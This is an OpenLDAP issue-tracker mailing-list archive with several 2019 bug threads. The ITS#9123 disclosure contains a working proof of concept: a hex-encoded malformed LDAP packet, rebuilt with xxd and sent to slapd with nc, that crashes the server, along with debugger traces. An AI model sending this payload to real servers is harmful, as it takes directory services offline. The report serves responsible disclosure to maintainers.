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Re: (ITS#9123) Unauthenticated remote denial-of-service
by stephan＠srlabs.de 28 Nov '19

28 Nov '19

--------------ms000905070707070901010503 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable Content-Language: en-US Hi Howard =E2=80=94 Thanks for the quick reply. Will forward the report upstream to Cyrus SAS= L. Best =C2=A0=C2=A0=C2=A0 -Stephan On 11/28/19 3:54 PM, Howard Chu wrote: > Resending with the non-printable chars omitted: > > Howard Chu wrote: >> Thanks, but your trace clearly shows that this is a fault in Cyrus SAS= L, you should be reporting >> this issue to them. >> >> valgrind confirms it as well: >> >> 5ddfddde do_bind: dn () SASL mech <garbage> >> 5ddfddde =3D=3D> sasl_bind: dn=3D"" mech=3D<garbage> >> datalen=3D0 >> =3D=3D11019=3D=3D Thread 3: >> =3D=3D11019=3D=3D Invalid write of size 1 >> =3D=3D11019=3D=3D at 0x4B9B1DB: sasl_seterror (seterror.c:247) >> =3D=3D11019=3D=3D by 0x4B9A18D: sasl_server_start (server.c:1418) >> =3D=3D11019=3D=3D by 0x26B88B: slap_sasl_bind (sasl.c:1666) >> =3D=3D11019=3D=3D by 0x21E130: fe_op_bind (bind.c:279) >> =3D=3D11019=3D=3D by 0x21DCE1: do_bind (bind.c:205) >> =3D=3D11019=3D=3D by 0x1F35BA: connection_operation (connection.c:1= 185) >> =3D=3D11019=3D=3D by 0x1F3CE7: connection_read_thread (connection.c= :1342) >> =3D=3D11019=3D=3D by 0x35DFF9: ldap_int_thread_pool_wrapper (tpool.= c:1048) >> =3D=3D11019=3D=3D by 0x4DBE668: start_thread (pthread_create.c:479)= >> =3D=3D11019=3D=3D by 0x4EFA322: clone (clone.S:95) >> =3D=3D11019=3D=3D Address 0x62032a8 is 0 bytes after a block of size = 600 alloc'd >> =3D=3D11019=3D=3D at 0x483CFAF: realloc (in /usr/lib/x86_64-linux-g= nu/valgrind/vgpreload_memcheck-amd64-linux.so) >> =3D=3D11019=3D=3D by 0x4B930A4: _buf_alloc (common.c:2186) >> =3D=3D11019=3D=3D by 0x4B93299: _sasl_add_string (common.c:196) >> =3D=3D11019=3D=3D by 0x4B9B2D4: sasl_seterror (seterror.c:187) >> =3D=3D11019=3D=3D by 0x4B9A18D: sasl_server_start (server.c:1418) >> =3D=3D11019=3D=3D by 0x26B88B: slap_sasl_bind (sasl.c:1666) >> =3D=3D11019=3D=3D by 0x21E130: fe_op_bind (bind.c:279) >> =3D=3D11019=3D=3D by 0x21DCE1: do_bind (bind.c:205) >> =3D=3D11019=3D=3D by 0x1F35BA: connection_operation (connection.c:1= 185) >> =3D=3D11019=3D=3D by 0x1F3CE7: connection_read_thread (connection.c= :1342) >> =3D=3D11019=3D=3D by 0x35DFF9: ldap_int_thread_pool_wrapper (tpool.= c:1048) >> =3D=3D11019=3D=3D by 0x4DBE668: start_thread (pthread_create.c:479)= >> =3D=3D11019=3D=3D >> =3D=3D11019=3D=3D Invalid read of size 1 >> =3D=3D11019=3D=3D at 0x483DF54: strlen (in /usr/lib/x86_64-linux-gn= u/valgrind/vgpreload_memcheck-amd64-linux.so) >> =3D=3D11019=3D=3D by 0x4E53DE4: __vfprintf_internal (vfprintf-inter= nal.c:1688) >> =3D=3D11019=3D=3D by 0x4E67029: __vsnprintf_internal (vsnprintf.c:1= 14) >> =3D=3D11019=3D=3D by 0x3A1FFA: lutil_debug (debug.c:74) >> =3D=3D11019=3D=3D by 0x266FF3: slap_sasl_log (sasl.c:146) >> =3D=3D11019=3D=3D by 0x4B9B4CF: sasl_seterror (seterror.c:260) >> =3D=3D11019=3D=3D by 0x4B9A18D: sasl_server_start (server.c:1418) >> =3D=3D11019=3D=3D by 0x26B88B: slap_sasl_bind (sasl.c:1666) >> =3D=3D11019=3D=3D by 0x21E130: fe_op_bind (bind.c:279) >> =3D=3D11019=3D=3D by 0x21DCE1: do_bind (bind.c:205) >> =3D=3D11019=3D=3D by 0x1F35BA: connection_operation (connection.c:1= 185) >> =3D=3D11019=3D=3D by 0x1F3CE7: connection_read_thread (connection.c= :1342) >> =3D=3D11019=3D=3D Address 0x62032a8 is 0 bytes after a block of size = 600 alloc'd >> =3D=3D11019=3D=3D at 0x483CFAF: realloc (in /usr/lib/x86_64-linux-g= nu/valgrind/vgpreload_memcheck-amd64-linux.so) >> =3D=3D11019=3D=3D by 0x4B930A4: _buf_alloc (common.c:2186) >> =3D=3D11019=3D=3D by 0x4B93299: _sasl_add_string (common.c:196) >> =3D=3D11019=3D=3D by 0x4B9B2D4: sasl_seterror (seterror.c:187) >> =3D=3D11019=3D=3D by 0x4B9A18D: sasl_server_start (server.c:1418) >> =3D=3D11019=3D=3D by 0x26B88B: slap_sasl_bind (sasl.c:1666) >> =3D=3D11019=3D=3D by 0x21E130: fe_op_bind (bind.c:279) >> =3D=3D11019=3D=3D by 0x21DCE1: do_bind (bind.c:205) >> =3D=3D11019=3D=3D by 0x1F35BA: connection_operation (connection.c:1= 185) >> =3D=3D11019=3D=3D by 0x1F3CE7: connection_read_thread (connection.c= :1342) >> =3D=3D11019=3D=3D by 0x35DFF9: ldap_int_thread_pool_wrapper (tpool.= c:1048) >> =3D=3D11019=3D=3D by 0x4DBE668: start_thread (pthread_create.c:479)= >> >> >> >> > --------------ms000905070707070901010503 Content-Type: application/pkcs7-signature; name="smime.p7s" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="smime.p7s" Content-Description: S/MIME Cryptographic Signature MIAGCSqGSIb3DQEHAqCAMIACAQExDzANBglghkgBZQMEAgEFADCABgkqhkiG9w0BBwEAAKCC C5owggVLMIIEM6ADAgECAhBcqlOYsUipXhgfVtj/CAUVMA0GCSqGSIb3DQEBCwUAMIGCMQsw CQYDVQQGEwJJVDEPMA0GA1UECAwGTWlsYW5vMQ8wDQYDVQQHDAZNaWxhbm8xIzAhBgNVBAoM GkFjdGFsaXMgUy5wLkEuLzAzMzU4NTIwOTY3MSwwKgYDVQQDDCNBY3RhbGlzIENsaWVudCBB dXRoZW50aWNhdGlvbiBDQSBHMTAeFw0xOTA1MjQwODA3MTdaFw0yMDA1MjQwODA3MTdaMBwx GjAYBgNVBAMMEXN0ZXBoYW5Ac3JsYWJzLmRlMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB CgKCAQEAmniYbaUHSdjBF3/m+2PVN14GEGxOSwHtd8WxH9mUXKEIW4XuImwNz8AoGfFOHc4D A1Tc/an6lONwAeBgj541N7aKSTxRphKnrJrpJarbUR2FM7u7Km7btUTBT9mm6OmympB+vWKa GkjQo2Gr3GRSfVDNLP/n70H8uthbgwPLuBfBt/dLHFrvYBpPtnH2EQqKc1SELSUPAuo9zaO/ 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Re: (ITS#9123) Unauthenticated remote denial-of-service
by hyc＠symas.com 28 Nov '19

28 Nov '19

Resending with the non-printable chars omitted: Howard Chu wrote: > Thanks, but your trace clearly shows that this is a fault in Cyrus SASL, you should be reporting > this issue to them. > > valgrind confirms it as well: > > 5ddfddde do_bind: dn () SASL mech <garbage> > 5ddfddde ==> sasl_bind: dn="" mech=<garbage> > datalen=0 > ==11019== Thread 3: > ==11019== Invalid write of size 1 > ==11019== at 0x4B9B1DB: sasl_seterror (seterror.c:247) > ==11019== by 0x4B9A18D: sasl_server_start (server.c:1418) > ==11019== by 0x26B88B: slap_sasl_bind (sasl.c:1666) > ==11019== by 0x21E130: fe_op_bind (bind.c:279) > ==11019== by 0x21DCE1: do_bind (bind.c:205) > ==11019== by 0x1F35BA: connection_operation (connection.c:1185) > ==11019== by 0x1F3CE7: connection_read_thread (connection.c:1342) > ==11019== by 0x35DFF9: ldap_int_thread_pool_wrapper (tpool.c:1048) > ==11019== by 0x4DBE668: start_thread (pthread_create.c:479) > ==11019== by 0x4EFA322: clone (clone.S:95) > ==11019== Address 0x62032a8 is 0 bytes after a block of size 600 alloc'd > ==11019== at 0x483CFAF: realloc (in /usr/lib/x86_64-linux-gnu/valgrind/vgpreload_memcheck-amd64-linux.so) > ==11019== by 0x4B930A4: _buf_alloc (common.c:2186) > ==11019== by 0x4B93299: _sasl_add_string (common.c:196) > ==11019== by 0x4B9B2D4: sasl_seterror (seterror.c:187) > ==11019== by 0x4B9A18D: sasl_server_start (server.c:1418) > ==11019== by 0x26B88B: slap_sasl_bind (sasl.c:1666) > ==11019== by 0x21E130: fe_op_bind (bind.c:279) > ==11019== by 0x21DCE1: do_bind (bind.c:205) > ==11019== by 0x1F35BA: connection_operation (connection.c:1185) > ==11019== by 0x1F3CE7: connection_read_thread (connection.c:1342) > ==11019== by 0x35DFF9: ldap_int_thread_pool_wrapper (tpool.c:1048) > ==11019== by 0x4DBE668: start_thread (pthread_create.c:479) > ==11019== > ==11019== Invalid read of size 1 > ==11019== at 0x483DF54: strlen (in /usr/lib/x86_64-linux-gnu/valgrind/vgpreload_memcheck-amd64-linux.so) > ==11019== by 0x4E53DE4: __vfprintf_internal (vfprintf-internal.c:1688) > ==11019== by 0x4E67029: __vsnprintf_internal (vsnprintf.c:114) > ==11019== by 0x3A1FFA: lutil_debug (debug.c:74) > ==11019== by 0x266FF3: slap_sasl_log (sasl.c:146) > ==11019== by 0x4B9B4CF: sasl_seterror (seterror.c:260) > ==11019== by 0x4B9A18D: sasl_server_start (server.c:1418) > ==11019== by 0x26B88B: slap_sasl_bind (sasl.c:1666) > ==11019== by 0x21E130: fe_op_bind (bind.c:279) > ==11019== by 0x21DCE1: do_bind (bind.c:205) > ==11019== by 0x1F35BA: connection_operation (connection.c:1185) > ==11019== by 0x1F3CE7: connection_read_thread (connection.c:1342) > ==11019== Address 0x62032a8 is 0 bytes after a block of size 600 alloc'd > ==11019== at 0x483CFAF: realloc (in /usr/lib/x86_64-linux-gnu/valgrind/vgpreload_memcheck-amd64-linux.so) > ==11019== by 0x4B930A4: _buf_alloc (common.c:2186) > ==11019== by 0x4B93299: _sasl_add_string (common.c:196) > ==11019== by 0x4B9B2D4: sasl_seterror (seterror.c:187) > ==11019== by 0x4B9A18D: sasl_server_start (server.c:1418) > ==11019== by 0x26B88B: slap_sasl_bind (sasl.c:1666) > ==11019== by 0x21E130: fe_op_bind (bind.c:279) > ==11019== by 0x21DCE1: do_bind (bind.c:205) > ==11019== by 0x1F35BA: connection_operation (connection.c:1185) > ==11019== by 0x1F3CE7: connection_read_thread (connection.c:1342) > ==11019== by 0x35DFF9: ldap_int_thread_pool_wrapper (tpool.c:1048) > ==11019== by 0x4DBE668: start_thread (pthread_create.c:479) > > > > -- -- Howard Chu CTO, Symas Corp. http://www.symas.com Director, Highland Sun http://highlandsun.com/hyc/ Chief Architect, OpenLDAP http://www.openldap.org/project/

1 0

Re: (ITS#9123) Unauthenticated remote denial-of-service
by hyc＠symas.com 28 Nov '19

28 Nov '19

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(ITS#9123) Unauthenticated remote denial-of-service
by stephan＠srlabs.de 28 Nov '19

28 Nov '19

Full_Name: Stephan Zeisberg Version: 2.4.48 OS: Fedora 31 (kernel 5.3.11-300.fc31.x86_64) URL: Submission from: (NULL) (78.54.65.139) Dear openldap team # Issue description Unauthenticated remote denial-of-service through malformed ldap packet # Version openldap-2.4.48.tgz # How to reproduce ## Compile $ tar xzvf openldap-2.4.48.tgz $ cd openldap-2.4.48 $ ./configure --prefix=/tmp/openldap $ make depend $ make $ make install $ cd /tmp/openldap ## Start server $ ./libexec/slapd -d 1 -h ldap://127.0.0.1:9091 ## Create PoC crash file $ echo -n "30840000054b020200d76084000005410201030400a38400000500a38203e2618203de308203daa003020105a1151b1357324b332e564d4e4554312e564d2e42415345a2443042a003020102a13b30391b046c6461701b1c7739dd332d3130312e77326b332e766d6e6574312e766d2e626173651b1377326b332e766d6e65a003020117a103020108a28203620482035ea235aaeb4b8dad2cc1a67f54db030352cc34864c8cf3b643a2d7d3111e0aebe0eef97130b4506cbf28b01c6c2bb49aeded09b8644ec146d29409d71838187b135aa779ca3e35c7b3d02cc60c53d65199e04b12cdc980d05cd1b0abd83791ecee27d79567bfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfd0fbd3bfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbf00000000000000febfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbf3b5e5d1743d6817779d9d3eef990ede178f7373a04f3821809f800ac200ca3bc67b32e9b2a2a3745cf67c91941a1ec2fdf50aa7a3c2dbc821831e8fcc4d15184978a6801801a76f588bfc196e924338201fe3b5e5d1743d6817779d9d3eef990ed151b1357324b332e564d4e4554312e564d2e42415345a2443042a003020102a13b30391b046c6461701b1c7739dd332d3130312e77326b332e762d37343237323839373736333432303739363739766d6e6574312e766d2e62617365a382037430820370a003020117a103020108a28203620482035ea235aaeb4b8dad2cc1a67f54db030352cc34864c8c2d36313031373033343136323732353138393733b01c6c2bb49aeded09b8644ec146d29409d71838187b135aa779ca3e35c7b3d02cc60c53d65199e04b12cdc980d05cd1b0abd83791ecee27d795679594064442bcb1ecb8639a7ef1825665683557bad4839e1a7b3cc5b76fc0ac093dcc62dd34116e7f202e38118c94c6ee468ae137aa6fce3070c081dd3941889887aac17b7b9fae6b1b432f97a905fe0765df558d738b2debc47b19b59b1c9b455cc29b88eb64620b8928714e76b310d36df7c1bfbda3fb4fbdc1fd4f34c901801a76f588bfc196e924338201fe3b5e5d1743d6817779d9d3eef990ede178f7373a04f3821809f800ac200ca3bc67b32e9b2a2a3745cf67c91941a1ec2fdf50aa7a3c2dbc821931e8fcc4d15184978a6801801a76f588bfc196e924338201fe3b5e5d1743d6817779d9d3eef990ede1" | xxd -r -p > ldap.crash ## Execute PoC (may need to be executed multiple times) $ nc 127.0.0.1 9091 < ldap.crash # GDB ... slapd: malloc.c:2379: sysmalloc: Assertion `(old_top == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0)' failed. Thread 3 "slapd" received signal SIGABRT, Aborted. [Switching to Thread 0x7fffb4aba700 (LWP 3684510)] 0x00007ffff5b3a625 in raise () from /lib64/libc.so.6 Missing separate debuginfos, use: dnf debuginfo-install cyrus-sasl-gssapi-2.1.27-2.fc31.x86_64 cyrus-sasl-lib-2.1.27-2.fc31.x86_64 cyrus-sasl-plain-2.1.27-2.fc31.x86_64 keyutils-libs-1.6-3.fc31.x86_64 krb5-libs-1.17-45.fc31.x86_64 l ibcom_err-1.45.3-1.fc31.x86_64 libdb-5.3.28-38.fc31.x86_64 libgcc-9.2.1-1.fc31.x86_64 libicu-63.2-3.fc31.x86_64 libselinux-2.9-5.fc31.x86_64 libstdc++-9.2.1-1.fc31.x86_64 libuuid-2.34-3.fc31.x86_64 nss-mdns-0.14.1-4.fc31.x86_64 open ssl-libs-1.1.1d-2.fc31.x86_64 zlib-1.2.11-20.fc31.x86_64 (gdb) bt #0 0x00007ffff5b3a625 in raise () from /lib64/libc.so.6 #1 0x00007ffff5b238d9 in abort () from /lib64/libc.so.6 #2 0x00007ffff5b85a7a in __malloc_assert () from /lib64/libc.so.6 #3 0x00007ffff5b882bf in sysmalloc () from /lib64/libc.so.6 #4 0x00007ffff5b89072 in _int_malloc () from /lib64/libc.so.6 #5 0x00007ffff5b8af55 in calloc () from /lib64/libc.so.6 #6 0x00007ffff5b7ced8 in open_memstream () from /lib64/libc.so.6 #7 0x00007ffff5bf99d5 in __vsyslog_internal () from /lib64/libc.so.6 #8 0x00007ffff5bf9f4a in syslog () from /lib64/libc.so.6 #9 0x00000000004ef3b4 in slap_sasl_log (context=0x7ffff54bf110, priority=<optimized out>, message=0x7fffa8103d30 "Couldn't find mech a\202\003\336\060\202\003ڠ\003\002\001\005\241\025\033\023W2K3.VMNET1.VM.BASE\242D0B\240\003\002\001\002\241;09\033\004ldap\033\034w9\335\063-101.w2k3.vmnet1.vm.base\033\023w2k3.vmne\240\003\002\001\027\241\003\002\001\b\242\202\003b\004\202\003^\242\065\252\353K\215\255,\301\246\177T\333\003\003R\314\064\206L\214\363\266C\242\327\323\021\036\n\353\340\356\371q0\264Pl\277(\260\034l+\264\232\355\355\t\270dN\301FҔ\t\327\030\070\030{\023Z\247y"...) at sasl.c:146 #10 0x00007ffff6203344 in sasl_seterror () from /lib64/libsasl2.so.3 #11 0x00007ffff6202324 in sasl_server_start () from /lib64/libsasl2.so.3 #12 0x00000000004f1098 in slap_sasl_bind (op=<optimized out>, rs=0x7fffb4ab88b0) at sasl.c:1524 #13 0x000000000049fd28 in fe_op_bind (op=0x7fffa8003120, rs=0x7fffb4ab88b0) at bind.c:280 #14 0x000000000049f350 in do_bind (op=0x7fffa8003120, rs=0x7fffb4ab88b0) at bind.c:205 #15 0x0000000000472ca8 in connection_operation (ctx=0x7fffb4ab89e8, arg_v=0x7fffa8003120) at connection.c:1158 #16 0x0000000000471332 in connection_read_thread (ctx=0x7fffb4ab89e8, argv=<optimized out>) at connection.c:1294 #17 0x00000000005fee7a in ldap_int_thread_pool_wrapper (xpool=0xa0b9f10) at tpool.c:696 #18 0x00007ffff5e444e2 in start_thread () from /lib64/libpthread.so.0 #19 0x00007ffff5bff693 in clone () from /lib64/libc.so.6 Please let me know what additional information I can provide to successfully reproduce the issue. Note: I have also tested and reproduced the issue using the precompiled package from the Fedora repositories: openldap-servers-2.4.47-3.fc31.x86_64 (OpenLDAP: slapd 2.4.47 (Jul 25 2019 00:00:00)) -Stephan Zeisberg

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Re: (ITS#9120) Searches including generalizedTime attributes with index
by hyc＠symas.com 26 Nov '19

26 Nov '19

Howard Chu wrote: > markus.widmer(a)daasi.de wrote: >> We could reproduce this with 2.4.42, 2.4.44 and 2.4.48. We hope you can >> reproduce this as well to see what is happening here. > > Yes, can reproduce this. The function that converts a component-wise time > into a timet is referencing time since 1970. The date in 1956 would yield a > negative timet value but the fields are unsigned ints, so instead it's treated > as 17,000 years in the future. We can probably change this to handle signed > timestamps but need to consider this further. > I believe the best way forward would be to allow signed values, and also to switch our epoch reference from 1970-01-01 to 0000-01-01 (i.e., use Gregorian Proleptic calendar). Year zero would be 1 BCE in this calendar, and anything earlier would be a negative year. Changing these functions will require regenerating any indices. Looks like something we'll rewrite for 2.5 but leave 2.4 alone. -- -- Howard Chu CTO, Symas Corp. http://www.symas.com Director, Highland Sun http://highlandsun.com/hyc/ Chief Architect, OpenLDAP http://www.openldap.org/project/

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Re: (ITS#9120) Searches including generalizedTime attributes with index
by hyc＠symas.com 25 Nov '19

25 Nov '19

markus.widmer(a)daasi.de wrote: > Full_Name: Markus Widmer > Version: 2.4.48 > OS: CentOS 7 > URL: ftp://ftp.openldap.org/incoming/ > Submission from: (NULL) (37.24.13.226) > > > Hi! > > we have recognized a strange behaviour for searches which include an attribute > with syntax 1.3.6.1.4.1.1466.115.121.1.24 and the matching rules > generalizedTimeMatch and generalizedTimeOrderingMatch set. If the timestamps in > the objects have values before 1970, then a search for > "<=" or ">=" only seams to works if: > - The attribute is not part of the index > - The attribute is part of the index but "objectClass" is not > > Reproduction: > We used two entries with the attribute "schacExpiryDate" from the > objectClass "schacEntryMetadata" but this can be reproduced with other > attributes as well: > > attributetype ( 1.3.6.1.4.1.25178:1:2:17 > NAME 'schacExpiryDate' > DESC 'Date from which the set of data is to be considered invalid (format > YYYYMMDDhhmmssZ)' > EQUALITY generalizedTimeMatch > ORDERING generalizedTimeOrderingMatch > SINGLE-VALUE > SYNTAX 1.3.6.1.4.1.1466.115.121.1.24 ) > > We used two entries: > > user.1: > schacExpiryDate: 19711007093230.514Z > > user.2: > schacExpiryDate: 19561007093230.514Z > > First try: we used this index configuration: > > index sn eq > index schacExpiryDate eq > index objectClass eq > > Search filter 1 was: (schacExpiryDate<=19800101120000Z) > Result 1 was: user.1 > > Search filter 2 was: (schacExpiryDate>=19010101120000Z) > Result 2 was: user.2 > > > Second try: we used this index configuration: > > index sn eq > #index schacExpiryDate eq > index objectClass eq > > Search filter 1 was: (schacExpiryDate<=19800101120000Z) > Result 1 was: user.1 and user.2 > > Search filter 2 was: (schacExpiryDate>=19010101120000Z) > Result 2 was: user.2 and user.2 > > > Third try: we used this index configuration: > > index sn eq > index schacExpiryDate eq > #index objectClass eq > > Search filter 1 was: (schacExpiryDate<=19800101120000Z) > Result 1 was: user.1 and user.2 > > Search filter 2 was: (schacExpiryDate>=19010101120000Z) > Result 2 was: user.1 and user.2 > > > We could reproduce this with 2.4.42, 2.4.44 and 2.4.48. We hope you can > reproduce this as well to see what is happening here. Yes, can reproduce this. The function that converts a component-wise time into a timet is referencing time since 1970. The date in 1956 would yield a negative timet value but the fields are unsigned ints, so instead it's treated as 17,000 years in the future. We can probably change this to handle signed timestamps but need to consider this further. -- -- Howard Chu CTO, Symas Corp. http://www.symas.com Director, Highland Sun http://highlandsun.com/hyc/ Chief Architect, OpenLDAP http://www.openldap.org/project/

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(ITS#9122) slapadd with dry run fails with back-mdb
by quanah＠openldap.org 25 Nov '19

25 Nov '19

Full_Name: Quanah Gibson-Mount Version: 2.4.48 OS: N/A URL: ftp://ftp.openldap.org/incoming/ Submission from: (NULL) (47.208.143.26) When testing an slapadd import with back-mdb as the database backend, it errors out incorrectly with a unknown attribute error: slapadd -F /tmp/slapd.d -l slapd-config-config.ldif -n 0 -u 5ddc186e PROXIED attributeDescription "DC" inserted. 5ddc186e <= str2entry: str2ad(olcDbNoSync): attribute type undefined slapadd: could not parse entry (line=1620) _################### 99.10% eta none elapsed none spd 18.7 M/s However the actual LDIF file is just fine: slapadd -F /tmp/slapd.d -l slapd-config.ldif -n 0 _#################### 100.00% eta none elapsed none fast! Closing DB... I'm guessing that on a dry-run, it doesn't actually fully load the modules defined in moduleload to get their schema definitions, which results in a false failure instead of a success.

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(ITS#9121) dynlist enhancements
by quanah＠openldap.org 20 Nov '19

20 Nov '19

Full_Name: Quanah Gibson-Mount Version: 2.4 OS: N/A URL: ftp://ftp.openldap.org/incoming/ Submission from: (NULL) (47.208.143.26) There are some enhancements to dynlist that would make it more useful/versatile: a) Be able to do (unique)member= searches to find all groups a given group member belongs to b) be able to generate dynamic (is)memberOf values on user entries for the groups they belong to

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(ITS#9120) Searches including generalizedTime attributes with index
by markus.widmer＠daasi.de 19 Nov '19

19 Nov '19

Full_Name: Markus Widmer Version: 2.4.48 OS: CentOS 7 URL: ftp://ftp.openldap.org/incoming/ Submission from: (NULL) (37.24.13.226) Hi! we have recognized a strange behaviour for searches which include an attribute with syntax 1.3.6.1.4.1.1466.115.121.1.24 and the matching rules generalizedTimeMatch and generalizedTimeOrderingMatch set. If the timestamps in the objects have values before 1970, then a search for "<=" or ">=" only seams to works if: - The attribute is not part of the index - The attribute is part of the index but "objectClass" is not Reproduction: We used two entries with the attribute "schacExpiryDate" from the objectClass "schacEntryMetadata" but this can be reproduced with other attributes as well: attributetype ( 1.3.6.1.4.1.25178:1:2:17 NAME 'schacExpiryDate' DESC 'Date from which the set of data is to be considered invalid (format YYYYMMDDhhmmssZ)' EQUALITY generalizedTimeMatch ORDERING generalizedTimeOrderingMatch SINGLE-VALUE SYNTAX 1.3.6.1.4.1.1466.115.121.1.24 ) We used two entries: user.1: schacExpiryDate: 19711007093230.514Z user.2: schacExpiryDate: 19561007093230.514Z First try: we used this index configuration: index sn eq index schacExpiryDate eq index objectClass eq Search filter 1 was: (schacExpiryDate<=19800101120000Z) Result 1 was: user.1 Search filter 2 was: (schacExpiryDate>=19010101120000Z) Result 2 was: user.2 Second try: we used this index configuration: index sn eq #index schacExpiryDate eq index objectClass eq Search filter 1 was: (schacExpiryDate<=19800101120000Z) Result 1 was: user.1 and user.2 Search filter 2 was: (schacExpiryDate>=19010101120000Z) Result 2 was: user.2 and user.2 Third try: we used this index configuration: index sn eq index schacExpiryDate eq #index objectClass eq Search filter 1 was: (schacExpiryDate<=19800101120000Z) Result 1 was: user.1 and user.2 Search filter 2 was: (schacExpiryDate>=19010101120000Z) Result 2 was: user.1 and user.2 We could reproduce this with 2.4.42, 2.4.44 and 2.4.48. We hope you can reproduce this as well to see what is happening here. Thank you very much for doing a great job!

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Re: (ITS#9119) back-monitor can miscount monitorOpCompleted
by hyc＠symas.com 15 Nov '19

15 Nov '19

quanah(a)openldap.org wrote: > Full_Name: Quanah Gibson-Mount > Version: 2.4.43 > OS: N/A > URL: ftp://ftp.openldap.org/incoming/ > Submission from: (NULL) (47.208.143.26) > > > When querying the monitor backend for monitorOpCompleted, the results are > inconsistent. The code that calculates this value is also inefficient, as there > is already a global counter of completed operations, but back-monitor doesn't > use this and instead queries all the per-operation counters and then sums them > together for the result, causing unnecessary work. Fixed in git master. > > These are the results of a series of queries: > > monitorOpCompleted: 326801 > monitorOpCompleted: 326733 > monitorOpCompleted: 326830 > monitorOpCompleted: 326830 > monitorOpCompleted: 326752 > monitorOpCompleted: 326855 > monitorOpCompleted: 326777 Unable to reproduce. Please test the patch and report back if the problem still shows up. -- -- Howard Chu CTO, Symas Corp. http://www.symas.com Director, Highland Sun http://highlandsun.com/hyc/ Chief Architect, OpenLDAP http://www.openldap.org/project/

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